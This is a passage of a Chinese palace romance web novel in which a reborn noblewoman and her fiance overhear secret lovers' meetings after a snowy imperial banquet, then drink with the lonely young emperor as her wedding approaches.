柳舜华阖上窗,尽管猜出了大概,还是问道:“谁送的?” 宫人道:“这件是皇上差人送的,说是此前无辜连累小姐一同跌入山崖,实在过意不去。” 柳舜华暗想,不枉她之前在山洞内为他磨尖木棍,此次是上了点心的,至少懂得了避嫌,没有让她为难。 另一宫人笑道:“这件是贺二公子差人送来。” 柳舜华过去,顺手拿起披在身上,顿觉浑身暖烘烘的。 “皇上的赏赐太贵重,还劳烦替我先收着。” 说罢,研墨写了封信交给宫人,“这个劳烦帮我送给贺二公子。” 一场大雪,覆盖了昨日的阴云。 刘昌大喜,邀众人晚上到永宁殿欢庆。 未进殿内,便闻鼓乐声声,不似黄钟大吕庄严,曲调风雅中带着欢快之声,想是为了迎合刘昌的喜好。 朱墙内外银装素裹,雪覆飞檐,檐下宫灯次第亮起,一圈圈光晕层层荡开,映得砌上的残雪斑斓,远远望去,整座宫殿朦胧宛似神仙境。 柳舜华今日到得早,方一进殿,便有宫人引着她落座。 殿内,金莲并蒂宫灯燃着明烛,映得满殿光华璀璨,煌煌如昼。 琼筵列玉案,鎏金银竹节熏炉吐着龙脑香,青烟缭绕间,熏得人醺醺欲醉。 柳舜华静坐许久,众人才一一到来。 因靶场射箭之事,她与贺容暄不和之事已闹得人尽皆知,她不想别人跟着无辜受累,只独坐着静候开筵。 贺容暄云鬓高挽,一袭红狐裘,更添几分张扬艳丽,满殿烛火都黯然失色。 她扫了一眼柳舜华,又将头转过去,享受着众人的艳羡。 柳舜华照例不给她眼神,只瞧着前方两个空位。 片刻,贺容华与刘妉柔才姗姗而来。 柳舜华起身,笑道:“你们今日是说好的吗,怎么来得这么晚?” 两人相视一笑,“真是巧了,路上碰到,便一起来了。” 贺容华摸着柳舜华的狐裘,“这白狐裘还得是你穿才好看,清丽娇媚,活脱脱一个月宫仙子。” 刘妉柔点头应和,“方才一进来瞧你坐在灯下,影影绰绰一个轮廓,便教人移不开眼。” “二位姐姐今日才是……咳咳……”柳舜华细看两人,实在张不开口违心夸赞。 这两人今日不知何故,一个薄施粉黛,穿着件寻常裘衣;一个素面朝天,身穿裙青重锦,整个大殿怕是都找不到比她们更素淡之人,与往日光彩照人的模样实在相去甚远。 两人笑道:“快坐着吧。” 三人坐定,贺容华瞧着对面,并未见贺玄度,于是问道:“宁儿今日怎么没来?” 柳舜华接道:“下了雪,玄度他今日身体不适,在宿苑内歇息。” 刘妉柔眼一瞥,瞧见首端坐着个长者,眉间一道深痕,面色沉肃。 “那位长者是谁?” 贺容华扫了一眼,“看年纪,像是颜太傅。” 刘妉柔愕然,“颜太傅,他不是在宫中,什么时候来的?” 贺容华道:“皇上由颜太傅一手带大,胜似父子。想是昨日皇上遇袭,他放心不下,便赶了过来。” 刘妉柔笑道:“听闻颜太傅是出了名的严苛,前些时日方责罚了几个皇上的近侍。皇上今日本想放肆畅饮一番,怕是难了。” 宫人一声高喊,将两人打断,刘昌进了大殿。 刘昌身披玄色狐裘,面容清俊,眼带笑意,踏上宝座。 乐起,舞姬水袖细腰摇曳,香粉飘远。宫人们手捧鎏银酒壶,开始斟酒。酒香混合着脂粉的香气,直教人如坠云端。 刘昌举杯,“雨雪雰雰,益之以霡霂。既优既渥,既沾既足。生我百谷。愿河清海晏,时和岁丰。” 众人同举杯应和。 刘昌一饮而尽,又端起酒杯,尚未开口,便听到一声咳嗽。 颜太傅端坐如松,声音冷硬,“皇上,您伤了腿,不宜多饮酒。” 一向行事放荡的刘昌立刻脸上堆笑,俯身道:“太傅,一杯,就一杯。” 颜太傅不为所动,“酒多伤身,一杯告慰天地,足矣。” 刘昌一脸哭相,“不是,太傅,我方才,就只喝了一小口啊。” 颜太傅扫了一眼殿内的年轻子弟,厉声道:“皇上伤了腿,你们一个个的,都不知道劝着吗?” 吓得众人一哆嗦,齐齐高呼,“请皇上保重龙体!” 有颜太傅坐镇,方才还轻松的氛围一下沉重起来。 := 舞乐陡然一变,雄浑厚重,仿若黄钟大吕,整个大殿弥漫着庄严肃穆的气息。 来此狩猎的年轻子弟,多半是爱玩乐的,听着如此端严之曲,一瞬梦回夫子授课的深渊,精神都萎靡不振。 刘昌也苦啊,他哪知道颜太傅来得这般快,若是知晓他今夜之前会赶来,何必在这受罪,早寻个借口将他安抚住,赏月赏雪赏美人去了。 众人见识到颜太傅的严苛,一个个正襟危坐, 生怕被他瞧见有不妥之处。 柳舜华倒觉正好,有颜太傅在,刘昌定不会尽兴,宴席也能早点结束。 正想着,眼光无意一扫,竟看到颜太傅起身,朝她们这边走了过来。 柳舜华头皮发麻,颜太傅不会是要挑她的错处吧。 果然,颜太傅走到她身前,盯着她的白狐裘看了许久。 长辈的威压扑面而来,柳舜华冷汗直冒。 难道是这身白狐裘太招摇了?! “我挑的那件,柳小姐不喜欢?”颜太傅淡声问。 柳舜华茫然抬眸,她是听错了吗? 大约是感觉到自己语气有些生硬,颜太傅声音温和不少,“此前我帮柳小姐选了一件白狐裘,见你并未穿着,想是不喜欢。我年事已高,不太清楚你们小孩子的喜好,待柳小姐大婚之日,必备厚礼奉上。” 柳舜华震惊,原来午间那件白狐裘,竟是颜太傅亲自挑选的。 众人愕然,柳舜华她何德何能,竟入了颜太傅的眼。 贺容华却微微一笑,颜太傅正妻早亡,无儿无女,半辈子的精力都花在刘昌身上,刘昌就是他的命根子。 她曾听到传言,昨日刘昌遇刺坠入山崖,险些被刺客杀害,多亏柳舜华削尖了长棍对峙,最终等来了禁军。 在颜太傅眼中,柳舜华救了刘昌一命,那他如何以礼相待,都不过分。 一时间,殿内众人齐齐望向柳舜华。 她怎么就这么好命! 柳舜华在众人艳羡的目光下,如坐针毡,一直到宴席结束,匆匆告别兄长,飞速逃离。 月色皎洁,月光照着积雪,别有一种清美。 柳舜华绕过一处石洞,覆满霜雪的枯树下,贺玄度早已等候多时。 鱼灯微光在风中摇曳,柳舜华身披狐裘飘然而至。 贺玄度从轮椅上站起,墨青大氅上沾着梅林的冷香,从袖中取出一枝红梅,眉间是化不开的温柔。 “路上瞧见梅园中红梅开得甚好,便折了一支。” 柳舜华伸手接过,那红梅开得甚妙,梢头并蒂双苞,绽放得肆意热烈。 她放在鼻间轻嗅,“这枝选得好。” 贺玄度一笑,“比起你窗台那枝,还是不够艳。” 柳舜华想起昨夜临别的吻,作势捶在他肩头,“别乱说。” 贺玄度举起手,“冤枉啊,我可什么都没说,是你自己胡思乱想。” 柳舜华哼了一声,“正事要紧,别忘了,今夜的目的,是让刘昌不再对你起疑。” 贺玄度收了手,坐回轮椅上,悠然道:“以刘昌的性子,提前看了你给我的信,不管是出于看热闹的心理,还是想要试探我,都不可能还坐得住。” 柳舜华点头,推着贺玄度朝着前方林木荫翳处走去。 经过昨日刺杀事件,上林苑上下盘查了个遍,倒是不用担心安全。 来到约定处,两人四下张望了一圈,并未瞧见刘昌的踪迹。 两人相视一眼,难道他们猜错了? 脚步踏过积雪,发出细碎的"咯吱"声。 “郡主今日约我前来,所为何事?” “自然是我们合作之事。” 两人一惊,怎么又是贺玄晖与刘妉柔。 贺玄晖淡声道:“上林苑人多眼杂,非要在此处说吗?” 刘妉柔:“冰天雪地的,谁会这么无聊在此闲逛。” 贺玄晖沉默片刻,“你近日为何总是针对容暄?” 刘妉柔懒声道:“看不惯她,这个理由行不行?” “你别忘了,当初是你找上我要合作的。”贺玄晖声音泛冷,“这些年,若没有我替你挡着,你早就被平阳王嫁到北地去了。你如今这个样子,要怎么让别人相信,你钟情于我?” 寒风呼啸,吹动着枯枝,栖在枝头的山雀扑棱棱振翅而飞,雪落簌簌。 雪落在脖颈,柳舜华浑身一激灵,攥紧手中灭掉的鱼灯。 贺玄晖与刘妉柔不是互相喜欢的神仙眷侣? 这怎么可能,上辈子,贺玄晖为了刘妉柔费尽心机,将她冷落在后院,不惜休了她也要迎娶她。 他们之间怎么可能只是一场交易? 刘妉柔笑了一声,“你的意思是,钟情于你,便要忍受你妹妹的奚落与羞辱。贺玄晖,幸好我不是真的喜欢你。” 贺玄晖:“郡主是想终止交易了?” 刘妉柔沉默,半晌才幽幽道:“贺二公子娶亲之后,你母亲必定催你成亲。若你顶不住,真的娶了亲,交易便终止吧。作为报答,你可以尽管将脏水往我身上泼,我受得住。” 贺玄晖嗤笑一声,“刘妉柔,咱们合作这么久,我以为,在你心里我就算不是个好人,起码也算个君子。我贺玄晖就算再不济,都不至于让一个女人背黑锅。” 月光惨白,照得满地碎玉森森。 刘妉柔明显一怔,笑了笑,“这么说,你不打算成亲?” 风吹着贺玄晖衣摆猎猎,佩玉锵如。 他瞥了她一眼,转身离开,“若计划有变,我会告知你。” 风卷着碎琼掠过,刘妉柔久久立在风中。 不知过了多久,她叹了一声,“听了这么久,还不出来吗?” 柳舜华与贺玄度不由一愣,面面相觑,被发现了? 树影摇晃,有人从对面林木中走出。 刘妉柔抬眸看着来人,长睫微颤,清亮的眸光带着朦胧的雾气。 “柳桓安,你都听到了吧?” 第79章 第79章好大一出戏 柳舜华直愣愣地站在原地,像被石化了一样。 刘妉柔与兄长? 脑海中有什么东西排山倒海,翻腾而来。 一瞬间,她全明白了。 刘妉柔为何第一眼便认出来她,为何三番两次地帮她,又为何突然对贺容暄大打出手。 她喜欢的,是兄长。 柳桓安笔挺的身躯一动不动,静静地立在那里,“郡主让我过来,就是听这些?” 刘妉柔身子一抖,险些要摔倒,她竭力稳住,“柳桓安,你还要怪我多久?” 柳桓安双手忍不住颤抖,克制住想去扶她的冲动,“郡主若没别的事,我就先走了。” “当初我随口说是平阳王府的丫鬟,是因为我不想被人发现。后来我爹想要把我嫁到北地以便巩固势力,我迫不得已才找上贺玄晖。”刘妉柔声音哽咽,“我从未想过要骗你,更没有作弄你的意思。你为什么就是不信呢?” 月色下,她一张素颜泛着柔光,裙青衣袍,柳桓安恍惚又看到那个蹲在糕点铺子前哭泣的小丫鬟。 他叹了一声,“我从未怪过你,更没有不信你。” 刘妉柔委屈道:“那你为何都不肯再见我?” 柳桓安的衣摆上沾满了雪沫,被风一吹,又簌簌落回雪堆中。 片刻后,他转过身去,闭上眼,“郡主,吾非良人。” 他大步离开,走得很快,生怕慢一步,便会后悔。 刘妉柔眼泪吧嗒落在雪中,朝着他背影道:“好,柳桓安,你亲口说,说你不喜欢我。你说了,从今往后,我便彻底忘了你。” 柳桓安脚步一滞,攥紧双手,终是没有停留。 刘妉柔单薄的身躯在寒风中摇摇欲坠,她猛地向前追去,一个踉跄,扑倒在雪堆里,埋头哭出声来。 那哭声起初还带着几分压抑,呜呜咽咽,慢慢地愈发悲切起来,似乎要将这辈子的委屈都宣泄出来。 柳舜华满心酸涩,心疼不已,兄长也太狠心了。 高大的身影逼近,弯腰伸出手来,刘妉柔仓皇抬头。 柳桓安将她拦腰抱起,“雪里冷,要哭回宿苑哭也不迟。” 刘妉柔伸手牢牢揽住他的脖颈,收住眼泪,娇笑道:“柳桓安,我就知道,你不会不管我的。” 柳桓安别过头去,大步流星地走在雪地里。 他知道她是装的,可就是狠不下心。 罢了,刘妉柔就是他命里的劫。 脚步声越来越远,躲在山石后的两人长舒一口气。 贺玄度叹道:“真是没想到,端正如柳御史,也会有与人私会的一天。” 今夜受到的冲击实在太大,柳舜华好半晌才回过神。 “他们男未婚女未嫁,私会又不是什么大不了的事。” 贺玄度一笑,“自然,不是谁都能像咱们一样,有情人终成眷属。” 柳舜华看着茫茫雪夜,“你说咱们这是什么运气,这都能撞上。” 贺玄度道:“此处远离大殿,背靠山峦,南临昆明池,北接梅林,天然一块风水宝地。” 柳舜华笑道:“这里,不会再有其他人了吧?” 贺玄度:“那可不一定,指不定有什么人也在暗中呢。” 两人相视一望,也不知此刻刘昌在不在。 四周一片沉寂,柳舜华冷得打了个寒噤,贺玄度不忍,轻声道:“此处虽是赏月胜地,但寒气太过,还是先回去吧。” 柳舜华想了想,推着轮椅便要离开,眼光一瞥,瞧见月下人影晃动,忙止住脚步。停得太匆忙,一不小心扭到脚,整个人跌在轮椅内,坐在贺玄度腿上。 贺玄度嘴角翘起,正要说话,被柳舜华一把按住。 “成大哥,好久不见。” 贺玄度瞪大双眼,这声音是,大姐。 “石姑娘,不,我应当唤你一声世子夫人。”浑厚的声音带着难以言说的苦闷。 柳舜华觉得这声音耳熟,仔细一想,这不是皇上新提拔的那个卫尉,成川的兄长,成渊。 怪不得那日猎场上,贺容华见到他,一瞬失神,原来是旧相识。 贺容华苦笑一声,“一别数年,成大哥不也是青云直上,咱们都不是暖水村烂泥里打滚的孩童了。” 成渊握紧腰间的刀,是啊,那个在暖水村吃不饱穿不暖,相互依偎长大的石家小丫头,早已没了踪影。 他抬头,看着她身上的灰裘,“夫人,这身灰裘与您身份不符,还是,扔了吧。” 贺容华攥住衣领,只觉喘不过气来。 她稳住心神,嘴角微微抽动,“你肩上的伤可好些了?” 那年冬日,她摇身一变,成了相府千金。 相府的马车停在屋外,她躲在屋内,迟迟不肯上车。 一直等到日落,他拖着疲惫的身躯,踏着晚霞笑着递给她一件灰裘。 后来,她才知道,为了送这件灰裘,他险些被灰熊扑食,伤着了肩膀,右手几乎要废。 成渊一笑,“劳夫人费心,早好了。” 寒鸦掠过,夜色如墨,漫长的沉默。 贺容华长叹一声,“既知成大哥过得好,容华也就放心了。只是这夜色深重,还望能送我一程。” 许久,成渊漆黑的眼眸垂下,隐在暗夜里,“夫人,请。” 贺玄度慢慢调匀呼吸,轻轻戳了一下柳舜华的手。 柳舜华意识到人已经离开,忙将手拿开。 贺玄度大口呼吸着,“蓁蓁,下次别听那么出神。” 柳舜华一脸歉意,“一不留神,就给忘了。” 贺玄度咳了声,“那个,我大姐姐她问心无愧,不过是旧人相叙,为免是非才避人耳目。” 柳舜华明白他的意思,点头道:“你放心,今夜之事,不会有第五个人知晓。” 贺玄度一声低笑:“今日真是,好大一出戏,咱们在这竟当了三回看客。” 柳舜华叹了一声,这世间难全之事太多,见惯了劳燕分飞,愈发觉得能与贺玄度走到一起,有多不易。 她下意识想抓贺玄度的手,一垂头,发现自己竟一直坐在他腿上,忙跳了下来。 “你的腿,没事吧?你怎么也不提醒我一下?” 贺玄度笑:“我这腿没那么金贵,你坐一下又不会坏。” 柳舜华扑哧一笑,正欲说话,瞧见前方树影晃动,石林上有个黑影缓缓蠕动,慢慢直立起来。 她尖叫一声躲在贺玄度身后,颤抖着,“有……有鬼。” 贺玄度一手安抚着柳舜华,一手摸向腰间。 只见黑影一跃,从石林上跳下,原来是个人。 那人抖动着玄色狐裘,哆哆嗦嗦道:“冷死我了。” 柳舜华侧身看去,试探道:“皇上?” 刘昌咳嗽几声,一头栽在贺玄度腿上,伸手抓住轮椅,“我腿,走不动了,你让我坐会。” 贺玄度用看傻子似的眼神看着他,“皇上,你猜,我为何要坐轮椅。” 刘昌颤抖着手指向柳舜华,“方才我都看到了,她都能坐,为什么我不能坐?” “她,身轻如燕。你?”贺玄度眉头一皱,“你看看,能一样吗?” 刘昌见他无动于衷,将狐裘裹得紧了一些,朝着远方大叫一声:“成川。” 一道黑影闪过,成川踏雪飞奔而来。 刘昌头一挥,“背他起来。” 成川二话不说,抓住贺玄度两条胳膊扛在背上。 刘昌伸手拉过轮椅,舒舒服服地靠在椅背上。 贺玄度白眼一翻,“皇上小心,我的坐垫。” 那可是蓁蓁亲手为他缝制的,他一身脏衣,就这么大剌剌地坐了下去。 刘昌朝前方望了望,“我好不容易偷跑出来,若回去被颜太傅抓到,又要唠叨个没完,先去贺玄度那里躲躲吧。” 说罢,瞧着身后的柳舜华,“愣着干嘛,推啊?” 柳舜华一脸无奈,缓缓伸出手。 刘昌坐在轮椅上,不停晃着,“你还别说,这轮椅坐着就是舒服。” 贺玄度仰头笑道:“这是蓁蓁特意为我做的。” 刘昌微微一愣,片刻失神,随即朗声一笑,“那你这腿断的,挺值。” 柳舜华见他满嘴胡言乱语,真恨不得手一松,将他埋进雪里,好好清醒清醒。 想想他毕竟是皇帝,忍住了。 她笑问:“皇上为何会在此啊?” 刘昌懒洋洋道:“大殿里闷,跑出来喝酒,醉了。” 贺玄度轻笑一声,“皇上果真是真龙天子,醉了都能爬这么高。” 刘昌朝他看了一眼,“比不上你雅兴,坐着轮椅也要出来幽会。” 想到方才之事,刘昌摸着额头,兴奋道:“你说,咱们要不要围着宿苑转一圈,没准能捉到不少野鸳鸯。” 柳舜华愕然,推着轮椅的手一抖。 刘昌回头,笑道:“你放心,你兄长与郡主之事我会帮忙保密的,算起来,郡主也是我的姑姑。” 又对着贺玄度,“你姐姐与成卫尉之事,我也会保密的。毕竟,成渊是我的人。” 贺玄度无比后悔今日的决定,他宁愿刘昌怀疑他,也不要听他在这喋喋不休惹人厌烦。 刘昌犹觉得不够,“至于你们两个,我……” 贺玄度淡声道:“皇上不必替我们保密,我们本就是未婚夫妻,出来赏个月,无伤大雅。” 刘昌终于闭嘴。 过了梅林,很快便到贺玄度宿处。 宫人瞧见皇上坐着轮椅进来,都吓了一跳。 莫非皇上怎么也摔断了腿? 刘昌冻得发抖,在宫人们惊诧的目光中,从轮椅上跳起,直奔向炭火旁。 成川将贺玄度重新放回轮椅上,阖上门站在廊下。 刘昌双手放在火上面烤了一会,才缓过劲来。 柳舜华瞧着他狼狈的样子,不觉好笑。 有时候,她真的不知道,刘昌到底是真傻,还是在装傻。 “有酒吗?”刘昌突然问。 贺玄度一笑,“凉州葡萄酒。” 刘昌拍手道:“还是你懂我。” 柳舜华有些不放心,“皇上,你此前摔伤了腿,怕是不宜饮酒。” 她可不想刘昌有事,若是他出事,贺玄度岂不是要跟着倒霉。 “你怎么同颜太傅学上了,这般古板。”刘昌朝贺玄度一笑,“你腿断了之后,她就是这般劝你的,你不嫌烦?” 贺玄度正襟危坐,“不嫌,一点都不嫌。有蓁蓁管着,我求之不得。” 柳舜华一笑,“算了,你们若实在想喝,我让人帮你们温一下。” 很快,宫人们将温酒端上。 刘昌举杯,正欲饮下,柳舜华端着一盘冒着热气的炙肉放在案上。 贺玄度只看一眼,便道:“你烤的?” 柳舜华顺 势坐下,笑道:“你们只喝酒,眼前是痛快了,若是肚里没点东西垫着,明早可要遭罪了。” 贺玄度点头,“还是蓁蓁想得周到,只是这烟熏火燎的,实在伤身,下次别做了。” 屋外北风呼啸,铜盆里炭火烧得正旺,暖意裹着淡淡的松木香,散了冬日的严寒。 柳舜华夹了一块肉推到贺玄度跟前,烛火摇曳,她垂头微笑,温柔缱绻。 明明他们只是笑着,说着再琐碎不过的家常话,刘昌却羡慕极了。 一瞬间,无边的孤寂袭上心头,他突然有点孤单。 他端起面前的酒杯,一饮而尽。 柳舜华与贺玄度相互看了一眼,双双夹起一块肉,递到他跟前。 刘昌一愣,接过炙肉,不动声色地道:“几块炙肉,有什么可吃的。” 贺玄度低头一笑,没有理他。 方才,刘昌躲在暗处,应当看得清楚。他在无人之时,也时刻坐在轮椅之上。成川背着他时,也已暗中试探过他的腿。只是成川虽会些功夫,到底不是医者,他的腿骨尚未长好,摸起来自然是与寻常人不一样。 刘昌那关,算是过了。 果然,刘昌姿态放松,笑道,“手艺不错,比那些御厨烤得好多了。” 贺玄度为他倒了一杯酒,“皇上过来,只是为了喝酒?” 刘昌又饮了一杯,无比认真道:“其实,我是想拉拢你。” 贺玄度一怔,随即笑了起来,“皇上,我是你亲封的将军,已经是你的人了。” 刘昌摇头,“不够,远远不够。” 贺玄度道:“皇上不用再试探了。” 刘昌挑眉道:“哦,你以为吾在试探什么?” 贺玄度转动着轮椅,将手放在炭火旁,火红的亮光映照在略显惨白的脸上。 他道:“我听蓁蓁说,你曾在济阳看到过我杀人。” 刘昌尴尬一笑,“那啥,我不是故意要挑拨,只是好奇,好奇而已。” “皇上当然不仅仅是挑拨,你是为了看我的反应。”贺玄度接着道:“一开始,皇上是怀疑,此次刺杀事件是丞相府的手笔,而我就是执行人吧。” 刘昌笑问:“何以见得?” 贺玄度:“皇上遇刺之时,我的侍从周松碰巧在场,而你拼命拉住蓁蓁,不就是想让刺客投鼠忌器吗?” 刘昌放下酒杯,笑道:“你就这么说出来,不怕吾真的怀疑你?” 贺玄度放在火上的手翻动一下,“皇上对我一直是有疑心的,可那夜却出现了个变数。有人先于禁军,将皇上从刺客手中救出。恰巧,那神秘人杀人的手法,同我一致。皇上眼下怀疑的是,我救了你。” 刘昌凑过身去,“那,是你吗?” 贺玄度将头转向窗外,淡声道:“皇上可知我为何会练就一身功夫,又为何会在济阳动手杀人?” 刘昌:“愿闻其详。” 贺玄度叹了一声,“为了保命,因为有人想杀我。” 刘昌微微蹙眉,“你是相府二公子,谁敢如此胆大包天?” 贺玄度垂下头去,缓缓道:“相府夫人,程氏。” 不但刘昌,连带着一旁的柳舜华,都如同雷击。 柳舜华从未听贺玄度提到过此事,眼皮狂跳,一股强烈的恐惧涌上心头。 刘昌惊道:“那次在济阳跟踪你的,是相府夫人的人。” 贺玄度点头:“我在相府的境况,你应当知晓。传闻都是真的,我从不得父亲喜欢,在父亲心中,只有贺玄晖一个儿子。可无奈,祖母疼惜,事事替我出头,曾说过要将平生积攒的财富悉数交于我,程氏便怀恨在心,欲将我除之后快。” 刘昌自幼无母,幼年丧父,兄弟姐妹相争之事,没有人比他更清楚。若不是颜太傅护着,多少次他都差点遭了亲族的暗算。刘昌感同身受,贺玄度此话,早已信了七八分。 贺玄度余光一瞥,瞧见刘昌低眉沉思,一把掀开了自己的衣袖。 光洁的手臂之上,是一道长长的疤痕,蜈蚣爬行般蜿蜒而上,因时日久远,已结一层坚硬的痂皮,像是残败的落花,被人肆意揉捏过,无情丢弃在路边,毫无生机。 柳舜华心上一寒,像是被冰刀刺穿,紧紧捂住嘴巴。 刘昌愕然,许久才道:“这是怎么回事?” “程氏的侄子,程嘉良。他烧伤我时,父亲就在场。皇上若是不信,可以派人去查。” 贺玄度淡然拂过衣袖,将伤处盖上,“我只是相府的一颗弃子而已,皇上这下总该信了吧?” 刘昌有些懵,他没想到,贺玄度会将自己隐藏的伤口扒出来,就这么毫无顾忌地亮在他眼前。 突然之间,他觉得,比起贺玄度,他还不算太惨。 他咋舌道:“贺玄度,你说你,怎么会这么惨?” 贺玄度瞟了他一眼,“皇上看起来心情好了不少?” 刘昌嘴角笑意难掩,“人吧,总是难免会比较。方才你们当着我的面恩恩爱爱,我当然不开心了。如今看到你过得这么惨,的确舒畅不少。” 他歪头看向柳舜华,笑眯眯道:“看到没,你就算嫁进了相府,也没什么好日子过。我再给你最后一次机会,跟着我怎么样?跟着我,没有恶婆婆,也没有烦人的小姑。” 贺玄度咬牙,他恨,怎么忘了刘昌是什么德行,白白给了他奚落自己的机会。 柳舜华扫了他一眼,“不劳皇上费心,成婚后,我们会回凉州。” 刘昌一愣,“你们要去凉州?” 贺玄度得意抬头,“蓁蓁一向不喜束缚,最爱恣意策马在草原上。怎么,皇上要同我们一起去凉州吗?” 刘昌眼神闪过一丝黯淡,再抬头依旧一副笑眯眯的模样,“在长安这些时日,好容易有两个看顺眼的,你们偏又要去凉州,真是无趣得很啊。” 他端起酒杯,笑道:“来来来,喝酒,今夜咱们忘了那些烦心事,一醉方休。” 柳舜华原以为刘昌极擅饮酒,不想不过喝了一坛,他便已醉得东倒西歪。 喝醉的刘昌左手拉着贺玄度,右手紧紧扯着柳舜华的衣角,“你们说,咱们算是朋友吗?” 两人相互看了一眼,没有说话,又朝刘昌望去。 刘昌阖上眼,嘟囔道:“看来,是不算。” 贺玄度道:“皇上,我们都是你的臣子。” 刘昌摇摇头,“不,皇上会换,今日是我,明日是他,换了人之后,你们便不再是我臣子了。可朋友不一样,不管我是谁,身份如何换,你们都是我的朋友。” 柳舜华猛然抬眸,诧异地看着醉醺醺的刘昌。 “贺玄度,若是有那么一天,所有的刀剑都指向我,我希望,那里面,没有你。” 刘昌脸颊红得似乎要烧起来,睡眼惺忪,“毕竟,咱们一起吃过饭,不是吗?” 贺玄度轻笑一声,“这算什么理由?” 风卷着雪吹来,炭火明灭狂舞。 成川道:“皇上,二更了。外面落了雪,要早些回去了。” 刘昌连连摆手,“我不回去。那个大殿太冷了,我不想回去。” 成川无奈,上前哄着,“皇上,回去我让他们再加几盆炭火,保证暖烘烘的。明日便要回宫,皇上要好好歇息才是,不然颜太傅看到,怕是又要责骂了。” 一听到颜太傅,刘昌一下站得笔直,“对对对,颜太傅不喜我起得晚,我要回去睡觉,要睡觉。” 成川点头,“对啊,皇上,我扶您回去。” 刘昌眼一瞥,抓住贺玄度的轮椅,“我还要坐这个,不然我不走。” 贺玄度气得火都要冒出来,成川拼命弯腰鞠躬,十分为难地看着他,“贺二公子,您看?” 柳舜华劝道:“你同一个醉酒的人置什么气,他若继续赖在这里,不知要熬到何时才能睡。你今日受了寒,要好好歇息才是。” 贺玄度瞥了刘昌一眼,想到他方才的话,无端生出一丝愧疚。 他叹了一口气,“明日一早,给我送回来。” 第二日,一行人收拾好行装,随着龙辇踏上回程之路。 车马出了上林苑,浩浩荡荡绵延几公里,雪地上游龙蜿蜒,车轮碾碎琼瑶,玉尘飞溅。 柳舜华回头望去,朱红的宫墙越来越远,暮色苍茫中只留一个模糊的轮廓。 天空又落了雪,积雪渐厚,道上的车辙很快被新雪掩盖,天地间白茫茫一片,干干净净。 第80章 第80章婚礼前夕 柳家人听闻皇上在上林苑遭遇刺客袭击,生怕柳桓安与柳舜华受伤,急得团团转。 一直等到过了酉时,才看到两人的马车。 见两人相安无事,一家人才算放下心来。 临睡前,柳棠华在柳舜华屋内逗着小白,赖着不肯走。 “姐姐,这个小兔子真的太可爱了,改日我也要向姐夫讨一个。” 柳舜华拍她的头,嘴角翘起,“你叫得倒是顺口。” 柳棠华摇头晃脑道:“反正你们就要成亲了,迟早的事。” 大婚在十一月十五,不足十日,的确很快了。 柳舜华洗漱沐浴后,拿出药膏涂抹在手臂上,看来大婚当日这疤痕是消不掉了。 她轻轻摸着伤处,脑海里又浮现出贺玄度手臂上烧伤留下的痕迹。 她从不知,贺玄度少时在丞相府,处境如此艰难。更不敢想,那些年,他一个人都是怎么熬过来的。还有,贺玄度说程氏欲将害他之事,究竟是怎么回事? 想到程氏,柳舜华眉头皱起。 上辈子,贺玄度与她看起来井水不犯河水,倒不像是有什么深仇大恨的样子。当然,也可能是贺玄度断腿后,程氏觉得他构不成什么威胁,不再将他放在眼里也不一定。 算了,嫁过去以后,有的是机会问贺玄度。 柳棠华将小白放进笼子内,看到桌前上药的柳舜华,惊叫了一声。 “姐姐,你手臂怎么受伤了,疼不疼?” 柳舜华回过神,笑道:“没事,就是擦破了皮。” 柳棠华心疼得直皱眉,“这要是让姐夫看见,该多心疼啊。” 柳舜华本来心事重重,被她一说,顿时笑了起来,歪头看着她,“我怎么发现,你叫他叫得这么顺口,不会是贺玄度给了你什么好处吧?” 柳棠华见被识破,笑道:“前些日子出去逛,碰到了贺二公子。他人逢喜事精神爽,让我嘴甜点叫他姐夫,一声姐夫一锭银子。” 柳舜华笑得东倒西歪,“那你如今岂不是阔气得很?” 柳棠华得意道:“我当场便叫了几十声姐夫,赚得盆满钵满。” 柳舜华伸手捏住她圆圆的小脸,“我说怎么几日不见,你脸吃得更圆了。” 柳棠华忙去照镜子,“胖了吗,我怎么没发现?我可不想再胖了,再胖……” 她话说到一半,忙捂住嘴。 柳舜华狐疑道:“再胖怎么了?” 柳棠华笑笑,“再胖姨娘又要骂我了。” 柳舜华哼了一声,“我们芊芊便是再胖,姐姐也是养得起的。” 柳棠华大受感动,欢喜地上床又蹦又跳。 柳舜华见她一副赶也赶不走的架势,跟着脱了鞋袜上床,“你都多大人了,还要同我睡在一起?” 柳棠华嬉皮笑脸,“姐姐一路辛劳,我替姐姐暖暖被窝。” 两人熄了灯,说笑着躺下。 夜色沉静,屋外积雪压在翠竹上,枝叶低垂,不时有断竹声传来。 “姐姐出嫁后,我便不能日日见到姐姐了。”黑暗中,柳棠华一声轻叹,“真不想长大。” 柳舜华想起了上一世,出嫁前,棠华抱着她,哭得泪人似的。她笑着安慰她,她只是嫁人,又不是这辈子都见不到了。可最后,她被困在相府,棠华进了宫,直到她崩逝,不过见了两三面而已。 她摸着棠华的头,“婚后我们会去凉州,芊芊,你愿意跟着我们吗?” 柳棠华一怔,“姐姐,你要带着我一起去凉州?” 柳舜华温声道:“是啊,你是姐姐一手带大的,我也舍不得你。咱们一起去凉州,到时候还能日日在一起,你说好不好?” 柳棠华沉默片刻,“姐姐,你能让我考虑考虑吗?” 孙姨娘虽对她不上心,但到底是她的亲生母亲。母亲尚在,她便离开去另外一个地方,的确有些为难。 柳舜华笑笑:“当然,我们不会走得那么急,少说也要年后了,你可以好好考虑。” 柳棠华伸手去搂柳舜华,往她那边蹭了蹭,“姐姐,你对我真好。我下辈子,下下辈子,生生世世都要做你的妹妹。” 柳舜华将她揽在怀中,只要棠华跟她去了凉州,她定会想尽一切办法,避开她上辈子的短命的结局。 翌日醒来,只听院内吵闹闹,芳草掀开帘子跑进来,轻盈的步履欢快异常。 柳棠华探头笑道:“你怎么瞧着这么欢喜,莫不是看到了什么俊俏的公子?” “呸呸。”芳草假装恼道:“二小姐好不知羞,真盼着明日便有个好姑爷将你娶了去。” 柳棠华哄劝道:“好芳草,我错了,你快说,外面怎么这么热闹。” 芳草这才道:“贺二公子又差人送了礼,老爷命人抬了过来,孙姨娘正招呼着人往这边来呢。” 正在梳妆的柳舜华转过头问:“怎么又送了东西过来,是什么?” 他们方从上林苑回来,贺玄度一早便安排人过来送礼,这礼准备得也太快了些。 芳草笑道:“小姐快去看看,你保准喜欢。” 柳舜华收拾妥当,芳草挑开帘子,便见孙姨娘指挥着众人将东西抬了进来。 瞧见柳舜华,孙姨娘喜笑颜开,“蓁蓁啊,你瞧瞧,这贺二公子多用心。” 说着便让人将一排盒子打开。 